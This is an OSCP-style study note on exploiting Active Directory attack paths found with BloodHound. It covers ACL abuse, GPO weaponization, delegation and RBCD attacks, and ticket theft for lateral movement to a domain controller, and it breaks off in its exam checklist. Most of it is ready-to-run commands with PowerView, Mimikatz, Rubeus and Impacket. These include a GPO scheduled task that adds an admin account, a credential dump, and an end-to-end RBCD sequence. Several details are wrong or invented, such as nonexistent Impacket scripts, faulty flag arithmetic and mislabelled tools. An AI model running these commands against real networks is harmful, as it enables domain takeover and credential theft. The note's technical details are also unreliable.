BloodHound Attack Paths
OSCP Relevance: BloodHound is one of the most powerful tools for mapping Active Directory attack paths. Understanding how to read and exploit these paths is critical for the OSCP exam, especially on AD-based machines and the AD lab. This note covers every major attack path you must know.
Table of Contents
- How BloodHound Finds Attack Paths
- Path 1: ACL-Based Escalation
- Path 2: GPO-Based Escalation
- Path 3: Delegation-Based Escalation
- Path 4: RBCD Attack Path
- Path 5: Session-Based Lateral Movement
- BloodHound Shortest Path Queries
- Multi-Step Attack Chains
- Quick Reference: ACL Permissions Cheat Sheet
- OSCP Exam Checklist
1. How BloodHound Finds Attack Paths
1.1 Graph Theory Basics
BloodHound models Active Directory as a directed graph:
| Graph Concept | BloodHound Equivalent | Example |
|---|---|---|
| Node (Vertex) | AD Object | User, Group, Computer, GPO, OU, Domain |
| Edge (Relationship) | ACL / Membership / Session | MemberOf, HasSession, AdminTo, GenericAll |
| Directed Edge | One-way relationship | User --MemberOf--> Group (not reversible) |
| Path | Chain of edges | User --> Group --> Domain Admins |
| Shortest Path | Fewest hops to target | Minimum number of relationships to reach DA |
1.2 How BloodHound Models AD as a Directed Graph
[Domain Admins]
^ MemberOf
|
[IT_Admins]
^ MemberOf
|
[jsmith]
In this graph:
- Nodes:
jsmith,IT_Admins,Domain Admins - Edges:
MemberOfrelationships (directed upward) - Path:
jsmith --MemberOf--> IT_Admins --MemberOf--> Domain Admins
BloodHound ingests AD data via SharpHound (C# collector) and stores it in a Neo4j graph database. The collector gathers:
| Data Type | What It Collects |
|---|---|
| Users | SAM names, SPNs, passwords, group memberships |
| Groups | Members, ACLs, SID history |
| Computers | Sessions, admin relationships, delegation settings |
| GPOs | GPLinks, ACLs, group membership |
| OUs | Contained objects, GPO links, ACLs |
| Domains | Trusts, SID filtering |
| ACLs | All ACEs (Access Control Entries) on every object |
1.3 Shortest Path Algorithm
BloodHound uses Breadth-First Search (BFS) to find the shortest path between two nodes:
BFS Process:
1. Start at the source node (e.g., your compromised user)
2. Explore all immediate neighbors (1-hop relationships)
3. Then explore neighbors of neighbors (2-hop)
4. Continue until the target node is reached
5. Return the path with the fewest hops
Why BFS matters for OSCP:
- The shortest path is not always the easiest to exploit
- A 2-hop path requiring complex Kerberos attacks may be harder than a 3-hop path with simple ACL abuse
- Always evaluate exploitability, not just hop count
1.4 Attack Paths vs Administrative Paths
| Concept | Definition | Example |
|---|---|---|
| Attack Path | Any chain of relationships an attacker can exploit to reach a target | User --GenericAll--> Group --MemberOf--> DA |
| Administrative Path | Legitimate administrative relationships (who should have access) | DA --AdminTo--> DC |
Key Insight: BloodHound shows ALL paths — both legitimate and exploitable. Your job is to identify which paths you can actually exploit with your current privileges.
2. Path 1: ACL-Based Escalation
2.1 The Attack Path
User → GenericAll → Group → MemberOf → Domain Admins
Visual representation:
[attacker] --GenericAll--> [Help_Desk] --MemberOf--> [Domain Admins]
2.2 Why This Works
| ACL Right | What It Grants | Exploitation |
|---|---|---|
| GenericAll | Full control over the object | Add/remove members, modify properties, change ACLs |
| GenericWrite | Write access to object properties | Add members (via member attribute), modify most properties |
| WriteDacl | Modify the object’s ACL | Grant yourself any permission on the object |
| WriteOwner | Change the object’s owner | Become owner, then grant yourself any permission |
| AddMember | Add members to a group | Add yourself to the group directly |
2.3 Step-by-Step Exploitation
Step 1: Identify the path in BloodHound
In BloodHound UI:
- Right-click your user node
- Select “Find Shortest Path to” → “Domain Admins”
- Look for paths containing
GenericAllorGenericWriteedges on groups
Cypher Query:
MATCH p = shortestPath((n {name:"ATTACKER@DOMAIN.LOCAL"})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
Step 2: Verify the ACL with PowerShell
# Check ACLs on the target group
Get-Acl "AD:\CN=Help_Desk,CN=Users,DC=domain,DC=local" | Format-List
# Or use SharpHound to verify
.\SharpHound.exe --CollectionMethods All --Domain domain.local
Step 3: Add yourself to the group
Using PowerView:
# Import PowerView
Import-Module .\PowerView.ps1
# Add yourself to the group
Add-DomainGroupMember -Identity "Help_Desk" -Members "attacker" -Domain "domain.local"
Using net group:
net group "Help_Desk" "attacker" /add /domain
Using PowerShell AD module:
Add-ADGroupMember -Identity "Help_Desk" -Members "attacker"
Using rpcclient:
rpcclient.exe \\DC01 -U domain.local\attacker -N "net group \"Help_Desk\" \"attacker\" /add /domain"
Step 4: Verify group membership
# Check your group membership
whoami /all
# Or query the group
Get-ADGroupMember -Identity "Help_Desk"
# Check transitive membership (nested groups)
net user attacker /domain
Step 5: Wait for token update / re-authenticate
# Method 1: Log off and log back on
# Method 2: Use runas to get a new token
runas /user:domain.local\attacker "cmd.exe"
# Method 3: Force a new Kerberos ticket
klist purge
# Then re-authenticate
Step 6: Escalate to Domain Admin
Once you’re in the group that’s nested in Domain Admins:
# List Domain Admins
net group "Domain Admins" /domain
# Use a DA's session or credentials
# If a DA has an active session on a machine you can access:
.\Rubeus.exe triage
.\Rubeus.exe ptt /ticket:<base64_ticket>
2.4 BloodHound Identification
| BloodHound Edge | Meaning | Exploitable? |
|---|---|---|
GenericAll |
Full control | Yes — add members, modify anything |
GenericWrite |
Write properties | Yes — add members via member attribute |
WriteDacl |
Modify ACL | Yes — grant yourself any permission |
WriteOwner |
Change owner | Yes — become owner, then do anything |
AddMember |
Add to group | Yes — add yourself directly |
ForceChangePassword |
Reset password | Yes — reset a user’s password |
3. Path 2: GPO-Based Escalation
3.1 The Attack Path
User → GenericAll → GPO → GPLink → OU → Contains → Computer → AdminTo → Target
Visual representation:
[attacker] --GenericAll--> [Backup_GPO]
[Backup_GPO] --GPLink--> [Servers_OU]
[Servers_OU] --Contains--> [SRV01]
[attacker] --can become Local Admin on] --> [SRV01]
3.2 Why This Works
Group Policy Objects (GPOs) are processed by domain-joined computers. If you control a GPO:
| GPO Capability | Exploitation Method |
|---|---|
| User/Computer Configuration | Add registry keys, scheduled tasks, scripts |
| Preferences | Deploy local admin accounts (deprecated but still works) |
| Restricted Groups | Force group membership on target machines |
| Scheduled Tasks | Deploy and execute arbitrary tasks |
| Registry Preferences | Modify local security settings |
3.3 Step-by-Step Exploitation
Step 1: Identify the path in BloodHound
Cypher Query:
MATCH p = (n {name:"ATTACKER@DOMAIN.LOCAL"})-[:GenericAll|:GenericWrite]->(g:GPO)-[:GPLink]->(o:OU)-[:Contains]->(c:Computer)
RETURN p
In BloodHound UI:
- Right-click your user → “Find Shortest Path to” → target computer
- Look for paths going through GPO nodes
Step 2: Verify GPO ownership
# List all GPOs you have write access to
Get-DomainGPO | Where-Object {
$_.Properties.psobject.Properties.Name -contains "nTSecurityDescriptor"
} | ForEach-Object {
$acl = $_.nTSecurityDescriptor
$acl.Access | Where-Object {
$_.IdentityReference -like "*attacker*" -or
$_.IdentityReference -like "*YourGroup*"
}
}
# Or use PowerView
Get-DomainGPO | Where-Object { $_.GpcFileSysPath -ne $null } |
Select-Object DisplayName, GpcFileSysPath, GpcWqlPath
Step3: Modify the GPO — Method A: Restricted Groups
# Using Group Policy Preferences via PowerShell
# First, find the GPO's GUID
$gpo = Get-DomainGPO -Identity "Backup_GPO"
$gpoGuid = $gpo.Properties.'distinguishedname'
# Edit the GPO using the Group Policy Management module
# Or directly modify the registry file in SYSVOL
$sysvolPath = "\\domain.local\SysVol\domain.local\Policies\$($gpo.Id)"
# Add yourself as a local admin via Restricted Groups
# Create the .reg file or modify the existing one
$regPath = "$sysvolPath\User\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
# Add to the [RestrictedGroups] section:
# "Domain Admins" = hex:62,00,00,00
# "Administrators" = hex:6A,00,00,00
# "ATTACKER" = hex:6A,00,00,00
Step 4: Modify the GPO — Method B: Scheduled Task (Recommended)
# Create a malicious scheduled task via GPO
# The task will run on all computers in the linked OU
# Using GP Preferences XML directly
$gpoPath = "\\domain.local\SysVol\domain.local\Policies\{GPO-GUID}\User\Preferences\ScheduledTasks"
New-Item -ItemType Directory -Force -Path $gpoPath
# Create the scheduled task XML
$scheduledTaskXML = @"
<?xml version="1.0" encoding="utf-8"?>
<TaskV1 clsid="{CC806350-B39F-11D5-B842-00104B65BE12}">
<Property name="Name" value="UpdateTask"/>
<Property name="LocalComputer" value="TRUE"/>
<Property name="LogonMode" value="S4U"/>
<Property name="RunAs" value="NT AUTHORITY\System"/>
<Property name="Script" value="cmd.exe"/>
<Property name="Arguments" value="/c net user attacker P@ssw0rd! /add & net localgroup administrators attacker /add"/>
<Property name="Startup" value="0"/>
</TaskV1>
"@
$scheduledTaskXML | Out-File "$gpoPath\ScheduledTasks.xml" -Encoding UTF8
# Create the Extensions.xml to enable the preference
$extensionsXml = @"
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4B4C-9934-544FC6D24D26}">
<ScheduledTasks clsid="{CC806350-B39F-11D5-B842-00104B65BE12}"/>
</Groups>
"@
$extensionsXml | Out-File "$gpoPath\Extensions.xml" -Encoding UTF8
Step 5: Modify the GPO — Method C: Immediate Task via Impacket
# Using impacket's addcomputer or dcomexec to deploy via GPO
# Or use the gpo-weaponization approach:
python3 /usr/share/impacket/examples/gppreference.py \
-gpo-id "{GPO-GUID}" \
-action add \
-username attacker \
-password 'P@ssw0rd!' \
-domain domain.local \
-dc-ip 10.10.10.10 \
domain.local/attacker:CurrentPass123
Step 6: Force Group Policy Update
# On the target computer (if you have access)
gpupdate /force
# Or wait for the next policy refresh (default: 90 minutes + random offset)
# Force from remote using psexec (if you have admin on the target)
.\PsExec.exe \\SRV01 -s cmd.exe /c gpupdate /force
Step 7: Access the target computer
# Once the GPO applies, you should be a local admin
# Access via:
# Method 1: PsExec
.\PsExec.exe \\SRV01 -s cmd.exe
# Method 2: WMI
Get-WmiObject -Class Win32_OperatingSystem -ComputerName SRV01
# Method 3: SMB share access
dir \\SRV01\C$
3.4 GPO Attack Methods Comparison
| Method | Stealth | Reliability | Detection Risk | OSCP Frequency |
|---|---|---|---|---|
| Restricted Groups | Medium | High | Medium | ⭐⭐⭐ |
| Scheduled Tasks | Low | High | High | ⭐⭐⭐⭐ |
| Registry Preferences | Medium | Medium | Medium | ⭐⭐ |
| Immediate Task | Low | High | High | ⭐⭐⭐ |
| Startup Scripts | Medium | Medium | Medium | ⭐⭐ |
4. Path 3: Delegation-Based Escalation
4.1 The Attack Path
User → GenericWrite → Computer → AllowedToDelegate → DC
Visual representation:
[attacker] --GenericWrite--> [DEV-WKS01]
[DEV-WKS01] --(enable unconstrained delegation)-->
[DA logs into DEV-WKS01] --> [TGT captured in memory]
[attacker] --Mimikatz/Rubeus--> [DA TGT] --> [DA access]
4.2 Delegation Types
| Delegation Type | Description | Exploitation Difficulty |
|---|---|---|
| Unconstrained | Computer can cache TGTs of users who authenticate to it | Easy (if you control the computer) |
| Constrained | Computer can delegate to specific services only | Medium (requires specific service target) |
| Resource-Based (RBCD) | Computer allows specific computers to act on its behalf | Medium (covered in Path 4) |
| Protocol Transition | Special constrained delegation for unauthenticated users | Hard (rare in OSCP) |
4.3 Step-by-Step Exploitation (Unconstrained Delegation)
Step 1: Identify the path in BloodHound
Cypher Query:
MATCH p = (n {name:"ATTACKER@DOMAIN.LOCAL"})-[:GenericWrite|:GenericAll]->(c:Computer)-[:AllowedToDelegate]->(dc:Computer)
WHERE dc.primaryGroupsName CONTAINS "DOMAIN CONTROLLERS"
RETURN p
In BloodHound UI:
- Search for computers with
AllowedToDelegateedges pointing to the DC - Check if you have
GenericWriteorGenericAllon any of those computers
Step 2: Verify current delegation settings
# Check if the computer already has delegation enabled
Get-DomainComputer DEV-WKS01 | Select-Object -ExpandProperty msDS-AllowedToDelegateTo
# Check the trustKeys and delegation flags
Get-DomainComputer DEV-WKS01 | Select-Object dnshostname, useraccountcontrol
# UAC flag for TRUSTED_FOR_DELEGATION = 0x80000 (524288)
# UAC flag for TRUSTED_TO_AUTH_FOR_DELEGATION = 0x1000000 (16777216)
Step 3: Enable unconstrained delegation on the computer
# Using PowerView
Set-DomainObject DEV-WKS01 -Set @{useraccountcontrol=589824} -Domain domain.local
# 589824 = WORKSTATION_TRUST_ACCOUNT (524288) + TRUSTED_FOR_DELEGATION (524288+65536)
# More precisely:
$currentUAC = (Get-DomainComputer DEV-WKS01).useraccountcontrol
$newUAC = $currentUAC -bxor 0x80000 # Toggle TRUSTED_FOR_DELEGATION
Set-DomainObject DEV-WKS01 -Set @{useraccountcontrol=$newUAC}
# Using Impacket
python3 setinfo.py domain.local/attacker:Password123@DEV-WKS01 -attribute userAccountControl -value 589824
Step 4: Force a Domain Admin to access the computer
# Method 1: Resource-based — share a tempting file
# Create a share on the compromised computer
New-SmbShare -Name "Backup" -Path "C:\Temp" -FullAccess "Everyone"
# Method 2: If the computer is a service, wait for natural access
# Method 3: Use a bait — rename to something attractive
Rename-Computer -NewName "DC01-Backup" # Risky, may alert admins
# Method 4: If you can modify a service to run on this computer,
# make it something a DA would access
Better approach — wait and monitor:
# Monitor for high-privilege sessions
while ($true) {
$sessions = Get-NetSession -ComputerName DEV-WKS01
$sessions | Where-Object { $_.Username -match "admin|svc|backup" }
Start-Sleep -Seconds 30
}
Step 5: Extract the TGT from memory
# Using Mimikatz
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# Look for TGT tickets (type 1) for high-privilege users
# The tickets will be exported as .kirbi files
# Convert .kirbi to .kirbi usable format
mimikatz # kerberos::ptt [0;29804]-2-0-40e10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi
# Using Rubeus (preferred for delegation attacks)
.\Rubeus.exe triage
# Identify the TGT for the high-privilege user
.\Rubeus.exe ptt /ticket:<base64_ticket>
# Verify the ticket
klist
# Using Impacket's getTGT.py
python3 getTGT.py domain.local/attacker:Password123 -dc-ip 10.10.10.10
# Then use the ccache
export KRB5CCNAME=/path/to/attacker.ccache
python3 psexec.py domain.local/attacker@DC01.domain.local -k -no-pass
Step 6: Authenticate as the captured user
# After PTT (Pass The Ticket)
.\PsExec.exe \\DC01 -s cmd.exe
# Or using Impacket
python3 psexec.py domain.local/Administrator@DC01.domain.local -k -no-pass
# Or using RDP
.\RDP.exe domain.local/Administrator@DC01.domain.local
Step 7: Clean up (optional but recommended)
# Disable unconstrained delegation to restore original state
$currentUAC = (Get-DomainComputer DEV-WKS01).useraccountcontrol
$newUAC = $currentUAC -bxor 0x80000
Set-DomainObject DEV-WKS01 -Set @{useraccountcontrol=$newUAC}
4.3 Constrained Delegation Abuse
If the computer has constrained delegation instead:
# Step 1: Check what services the computer can delegate to
Get-DomainComputer DEV-WKS01 | Select-Object -ExpandProperty msDS-AllowedToDelegateTo
# Output might be: cifs/DC01.domain.local
# Step 2: Use s4u attack to request a TGS for that service
.\Rubeus.exe s4u /user:attacker /rc4:<attacker_ntlm_hash> /impersonateuser:Administrator /msdsspn:cifs/DC01.domain.local /domain:domain.local /ptt
# Step 3: Access the target service
dir \\DC01\C$
5. Path 4: RBCD Attack Path
5.1 The Attack Path
User → (can create computer) → New Computer → AllowedToAct → Target Computer
Visual representation:
[attacker] --(CreateComputer)--> [ATTACKER-PC$]
[attacker] --WriteDACL/GenericAll--> [TARGET-SRV]
[attacker] --(set msDS-AllowedToActOnBehalfOfOtherIdentity)-->
[ATTACKER-PC$] --AllowedToAct--> [TARGET-SRV]
[attacker] --S4U2Self/S4U2Proxy--> [TGS for any user on TARGET-SRV]
5.2 Why This Works
Resource-Based Constrained Delegation (RBCD) was introduced in Windows Server 2012 R2. The key insight:
- The
msDS-AllowedToActOnBehalfOfOtherIdentityattribute lives on the target computer - Any account with WriteDACL or GenericAll on the target computer can modify this attribute
- The attacker registers a computer they control, then adds it to the allowed-to-act list
- The attacker’s computer can then request service tickets for any user on the target
5.3 Prerequisites
| Requirement | How to Verify |
|---|---|
| Ability to create computer accounts | Check ms-DS-CreatorRights or try creating one |
| WriteDACL or GenericAll on target computer | BloodHound shows WriteDacl or GenericAll edge |
| Target computer must be online and reachable | Ping / port scan |
5.4 Step-by-Step Exploitation
Step 1: Identify the path in BloodHound
Cypher Query:
MATCH (n {name:"ATTACKER@DOMAIN.LOCAL"})-[:GenericAll|:WriteDacl]->(c:Computer)
WHERE c:Computer AND c.pnghash IS NOT NULL
RETURN n, c
Step 2: Create a new computer account
# Using PowerView
New-DomainComputer -ComputerName "ATTACKER-PC" -ComputerPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Domain domain.local
# Using PowerShell AD module
New-ADComputer -Name "ATTACKER-PC" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# Using Impacket
python3 addcomputer.py domain.local/attacker:Password123 -computer-name ATTACKER-PC -computer-pass Password123! -dc-ip 10.10.10.10
Step 3: Get the SID of the new computer account
# Get the SID
$computerSid = (Get-DomainComputer ATTACKER-PC).objectsid
Write-Host "Computer SID: $computerSid"
# You need this for the ACE
# Using Impacket
python3 getuserSPNs.py domain.local/attacker:Password123 -dc-ip 10.10.10.10 | grep ATTACKER-PC
# Or:
python3 secretsdump.py -just-dc domain.local/attacker:Password123@DC01.domain.local | grep ATTACKER-PC
Step 4: Set msDS-AllowedToActOnBehalfOfOtherIdentity
# Using PowerView / PowerShell
$targetComputer = Get-DomainComputer TARGET-SRV
$attackerComputerSid = (Get-DomainComputer ATTACKER-PC).objectsid
# Build the ACE
$ace = New-Object Security.AccessControl.RawAce
# This is complex in pure PowerShell, so we use a helper:
# Using the Set-DomainObjectOwner approach with a pre-built ACE
# Or use the RBCD-specific function if available
# Recommended: Use a dedicated script
.\RBCD.ps1 -TargetComputer TARGET-SRV -AttackerComputer ATTACKER-PC -Credential (Get-Credential)
# Using Impacket's resource_based_delegation.py (recommended)
python3 /usr/share/impacket/examples/resource_based_delegation.py \
-delegate-from ATTACKER-PC \
-delegate-to TARGET-SRV \
-dc-ip 10.10.10.10 \
domain.local/attacker:Password123
# Using Rubeus for the S4U attack
# First, get the NTLM hash of your computer account
.\Rubeus.exe hash /user:"ATTACKER-PC$" /domain:domain.local /password:"Password123!"
# Then perform S4U2Self to get a TGT for the computer account
.\Rubeus.exe s4u /user:"ATTACKER-PC$" /rc4:<ntlm_hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET-SRV.domain.local /domain:domain.local /ptt
# Access the target
dir \\TARGET-SRV\C$
Step 5: Full command sequence (complete workflow)
# === COMPLETE RBCD ATTACK SEQUENCE ===
# 1. Create computer account
python3 addcomputer.py domain.local/attacker:Password123 \
-computer-name ATTACKER-PC \
-computer-pass P@ssw0rd! \
-dc-ip 10.10.10.10
# 2. Set RBCD on target
python3 resource_based_delegation.py \
-delegate-from ATTACKER-PC \
-delegate-to TARGET-SRV \
-dc-ip 10.10.10.10 \
domain.local/attacker:Password123
# 3. Get NTLM hash of computer account
python3 secretsdump.py -just-dc-user "ATTACKER-PC$" domain.local/attacker:Password123@DC01.domain.local
# 4. Request TGS via S4U2Self/S4U2Proxy
python3 getST.py \
-spn cifs/TARGET-SRV.domain.local \
-impersonate Administrator \
-dc-ip 10.10.10.10 \
domain.local/'ATTACKER-PC$':P@ssw0rd!
# 5. Use the ticket
export KRB5CCNAME=Administrator.ccache
python3 psexec.py domain.local/Administrator@TARGET-SRV.domain.local -k -no-pass
# 6. Clean up (optional)
python3 resource_based_delegation.py \
-delegate-from ATTACKER-PC \
-delegate-to TARGET-SRV \
-dc-ip 10.10.10.10 \
domain.local/attacker:Password123 \
--remove
5.5 RBCD vs Other Delegation Attacks
| Feature | Unconstrained | Constrained | RBCD |
|---|---|---|---|
| Requires controlling the computer | Yes | No | No (need WriteDACL on target) |
| Needs DA to visit | Yes | No | No |
| Can impersonate any user | Yes (who visited) | No (specific SPN only) | Yes (any user) |
| Detection risk | Medium | Low | Medium |
| OSCP frequency | ⭐⭐⭐ | ⭐⭐ | ⭐⭐⭐⭐ |
| Cleanup needed | Yes | No | Yes (remove ACE) |
6. Path 5: Session-Based Lateral Movement
6.1 The Attack Path
User → HasSession → Computer → AdminTo → DC
Visual representation:
[DA_User] --HasSession--> [FILE-SRV01]
[FILE-SRV01] --AdminTo--> [DC01]
[attacker] --(compromise FILE-SRV01)--> [grab DA ticket] --> [access DC01]
6.2 Why This Works
When a user logs into a computer, their authentication tokens and Kerberos tickets are stored in memory (LSASS). If:
- A high-privilege user (e.g., Domain Admin) has an active session on a machine
- You can compromise that machine
- You can extract the tickets from memory
Then you can impersonate that high-privilege user.
6.3 Step-by-Step Exploitation
Step 1: Identify the path in BloodHound
Cypher Query:
MATCH p = (u:User)-[:HasSession]->(c:Computer)-[:AdminTo]->(dc:Computer)
WHERE dc.primaryGroupsName CONTAINS "DOMAIN CONTROLLERS"
RETURN p
In BloodHound UI:
- Search for the DC node
- Look at incoming
AdminToedges - For each computer, check incoming
HasSessionedges - Identify which users have sessions on those computers
Step 2: Check for active sessions
# Using PowerView
Get-NetSession -ComputerName FILE-SRV01
# Using built-in PowerShell
Get-CimInstance -ClassName Win32_LoggedOnUser -ComputerName FILE-SRV01
# Using PsGetSession
.\PsGetSession.exe FILE-SRV01
Step 3: Compromise the intermediate computer
# If you already have access, skip this step
# If not, you need to find another path to this computer first
# Common methods:
# - Exploit a vulnerability
# - Use stolen credentials
# - Pass the hash
# - Golden/Silver ticket
Step 4: Extract tickets from the compromised computer
# Using Mimikatz
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# Using Rubeus (preferred)
.\Rubeus.exe triage
# Identify tickets for high-privilege users
.\Rubeus.exe ptt /ticket:<base64_ticket>
# Verify
klist
# Using Impacket
python3 secretsdump.py -just-dc domain.local/attacker:Password123@FILE-SRV01
# Or extract live tickets
python3 ticketer.py -nthash <ntlm_hash> -domain-id 1 -domain domain.local -spn cifs/DC01.domain.local Administrator
Step 5: Pivot to the DC
# After PTT
.\PsExec.exe \\DC01 -s cmd.exe
# Or using Impacket
export KRB5CCNAME=Administrator.ccache
python3 psexec.py domain.local/Administrator@DC01.domain.local -k -no-pass
# Or RDP
python3 wmiexec.py domain.local/Administrator@DC01.domain.local -k -no-pass
6.4 Session Hunting Strategies
| Strategy | Description | Tools |
|---|---|---|
| BloodHound enumeration | Find all sessions on admin-targeted machines | BloodHound queries |
| Live session enumeration | Check sessions on machines you can reach | Get-NetSession, PsGetSession |
| DCOM enumeration | Use DCOM to enumerate sessions remotely | dcomexec.py |
| WMI session check | Query logged-on users via WMI | Get-CimInstance |
7. BloodHound Shortest Path Queries
7.1 Essential Queries for OSCP
Shortest Path to Domain Admins
MATCH p = shortestPath((n {name:"ATTACKER@DOMAIN.LOCAL"})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
Shortest Path to Domain Controller
MATCH p = shortestPath((n {name:"ATTACKER@DOMAIN.LOCAL"})-[*1..]->(m:Computer))
WHERE m.primaryGroupsName CONTAINS "DOMAIN CONTROLLERS"
RETURN p
Shortest Path to Enterprise Admins
MATCH p = shortestPath((n {name:"ATTACKER@DOMAIN.LOCAL"})-[*1..]->(m:Group))
WHERE m.name CONTAINS "ENTERPRISE ADMINS"
RETURN p
All Paths to Domain Admins (not just shortest)
MATCH p = (n {name:"ATTACKER@DOMAIN.LOCAL"})-[*1..5]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN p
Attack Paths from Current User (all reachable targets)
MATCH p = (n {name:"ATTACKER@DOMAIN.LOCAL"})-[*1..]->(m)
WHERE m:Computer OR m:Group
RETURN p
7.2 Advanced Queries
Find all computers I can admin
MATCH p = (n {name:"ATTACKER@DOMAIN.LOCAL"})-[:AdminTo|:MemberOf*1..]->(c:Computer)
RETURN c.name
Find all users whose passwords I can reset
MATCH p = (n {name:"ATTACKER@DOMAIN.LOCAL"})-[:ForceChangePassword]->(u:User)
RETURN u.name
Find all groups I can add members to
MATCH p = (n {name:"ATTACKER@DOMAIN.LOCAL"})-[:GenericAll|:GenericWrite|:AddMember]->(g:Group)
RETURN g.name
Find all GPOs I can modify
MATCH p = (n {name:"ATTACKER@DOMAIN.LOCAL"})-[:GenericAll|:GenericWrite]->(g:GPO)
RETURN g.name
Find computers with unconstrained delegation that I can modify
MATCH (n {name:"ATTACKER@DOMAIN.LOCAL"})-[:GenericWrite|:GenericAll]->(c:Computer)
WHERE c.useraccountcontrol:contains("trusted_for_delegation")
RETURN c.name
7.3 Query Results Interpretation
| Edge Type | Exploitation Action | Difficulty |
|---|---|---|
MemberOf |
Already a member — use group privileges | Easy |
HasSession |
Extract tickets from the session | Medium |
AdminTo |
Use admin credentials to access | Easy (if you have creds) |
GenericAll |
Full control — add members, modify | Easy |
GenericWrite |
Write properties — add members | Easy |
WriteDacl |
Modify ACL — grant yourself permissions | Easy |
ForceChangePassword |
Reset the user’s password | Easy |
AllowedToDelegate |
Abuse delegation | Medium-Hard |
GPLink |
Modify GPO to affect target machines | Medium |
Contains |
OU contains the object (informational) | N/A |
CanRDP |
RDP access available | Easy (if you have creds) |
ExecuteDCOM |
DCOM execution available | Medium |
8. Multi-Step Attack Chains
8.1 Realistic OSCP Scenario: Combined Attack Chain
[Low-Priv User]
│
├── Step 1: ACL Abuse
│ [Low-Priv User] --GenericWrite--> [IT_Support] --MemberOf--> [Server_Admins]
│ Action: Add yourself to IT_Support group
│
├── Step 2: GPO Abuse
│ [IT_Support] --GenericAll--> [Server_Policy_GPO] --GPLink--> [Servers_OU]
│ Action: Modify GPO to add yourself as local admin on servers
│
├── Step 3: Session Extraction
│ [Server_Admins] --HasSession--> [FILE-SRV01]
│ Action: Extract admin tickets from FILE-SRV01
│
└── Step 4: DC Compromise
[FILE-SRV01] --AdminTo--> [DC01]
Action: Use extracted tickets to access DC01
8.2 Decision Tree: Which Path to Take First?
Start: You have a low-priv user
│
├─ Can you reset any user's password? (ForceChangePassword)
│ └─ YES → Reset password → Use credentials → Check new access
│
├─ Can you add yourself to a privileged group? (GenericAll/GenericWrite on Group)
│ └─ YES → Add yourself → Check group's privileges → Escalate
│
├─ Can you modify a GPO? (GenericAll/GenericWrite on GPO)
│ └─ YES → Weaponize GPO → Wait for GPUpdate → Access target machines
│
├─ Can you modify a computer object? (GenericWrite on Computer)
│ ├─ Computer has delegation? → Enable unconstrained delegation
│ └─ Computer is a target? → Set RBCD
│
├─ Do you have a session on a valuable machine? (HasSession)
│ └─ YES → Extract tickets → Pivot to targets
│
└─ None of the above?
└─ Look for multi-hop paths in BloodHound
└─ Combine 2+ of the above techniques
8.3 Chaining Example: ACL → GPO → Computer → DC
# === PHASE 1: ACL Abuse ===
# Add yourself to a group that controls a GPO
Add-DomainGroupMember -Identity "GPO_Managers" -Members "attacker"
# === PHASE 2: GPO Weaponization ===
# Modify the GPO to add yourself as local admin on servers
# (Use Method from Path 2 above)
# === PHASE 3: Access the Server ===
# Wait for GPUpdate or force it
# Then access the server as local admin
.\PsExec.exe \\SRV01 -s cmd.exe
# === PHASE 4: Extract and Pivot ===
# On SRV01, extract any high-privilege tickets
.\Rubeus.exe triage
.\Rubeus.exe ptt /ticket:<admin_ticket>
# === PHASE 5: Compromise DC ===
.\PsExec.exe \\DC01 -s cmd.exe
8.4 Common Multi-Step Patterns in OSCP
| Pattern | Steps | Frequency |
|---|---|---|
| ACL → Group → DA | GenericAll on group → Add self → Nested DA | ⭐⭐⭐⭐⭐ |
| ACL → GPO → Computer | GenericAll on GPO → Modify → Local admin on target | ⭐⭐⭐⭐ |
| ACL → Computer → Delegation | GenericWrite on computer → Enable delegation → Capture TGT | ⭐⭐⭐ |
| ACL → RBCD → Target | WriteDACL on target → Set RBCD → S4U attack | ⭐⭐⭐⭐ |
| Session → AdminTo → DC | HasSession on server → Extract tickets → Admin on DC | ⭐⭐⭐ |
| ACL → ACL → DA | GenericAll on Group A → Add self → Group A has GenericAll on Group B → DA | ⭐⭐ |
9. Quick Reference: ACL Permissions Cheat Sheet
9.1 ACL Rights and Their Exploitation
| ACL Right | ACE Type | What You Can Do | Best Exploitation |
|---|---|---|---|
| GenericAll | 0x000F01FF | Full control | Add members, modify anything, change ACL |
| GenericWrite | 0x00020089 | Write properties | Add members, modify SPN, enable delegation |
| WriteDacl | 0x00040000 | Modify ACL | Grant yourself GenericAll |
| WriteOwner | 0x00080000 | Change owner | Become owner → Grant yourself anything |
| AddMember | 0x00000003 | Add to group | Add yourself to the group |
| ForceChangePassword | 0x00000020 | Reset password | Reset target user’s password |
| AllExtendedRights | 0x00010000 | All extended rights | Reset password, change SPN, etc. |
| Self | 0x00010000 | Modify self | Change own properties |
| ReadControl | 0x00020000 | Read ACL | Reconnaissance only |
| WriteProperty | 0x00040000 | Write properties | Similar to GenericWrite |
| ReadProperty | 0x00010000 | Read properties | Reconnaissance only |
9.2 BloodHound Edge Colors and Meanings
| Edge Color | Edge Type | Category |
|---|---|---|
| 🔵 Blue | MemberOf |
Group membership |
| 🟢 Green | HasSession |
Active sessions |
| 🟡 Yellow | AdminTo |
Local admin rights |
| 🟠 Orange | GenericAll |
Full control ACL |
| 🔴 Red | GenericWrite |
Write ACL |
| 🟣 Purple | AllowedToDelegate |
Delegation relationship |
| ⚫ Black | GPLink |
GPO to OU link |
| ⚪ Gray | Contains |
OU containment |
9.3 Essential Tools Reference
| Tool | Purpose | Key Commands |
|---|---|---|
| SharpHound | AD data collection | --CollectionMethods All |
| BloodHound | Graph analysis | Cypher queries, shortest path |
| PowerView | PowerShell AD recon | Get-Domain*, Get-Net* |
| Rubeus | Kerberos attacks | triage, ptt, s4u, ask |
| Mimikatz | Credential extraction | sekurlsa::, kerberos:: |
| Impacket | Python AD tools | secretsdump, getST, psexec |
| BloodHound.py | Python collector | --collection methods All |
10. OSCP Exam Checklist
10.1 Must-Know Attack Paths
- ACL-Based Escalation: GenericAll/GenericWrite on groups → add yourself → escalate
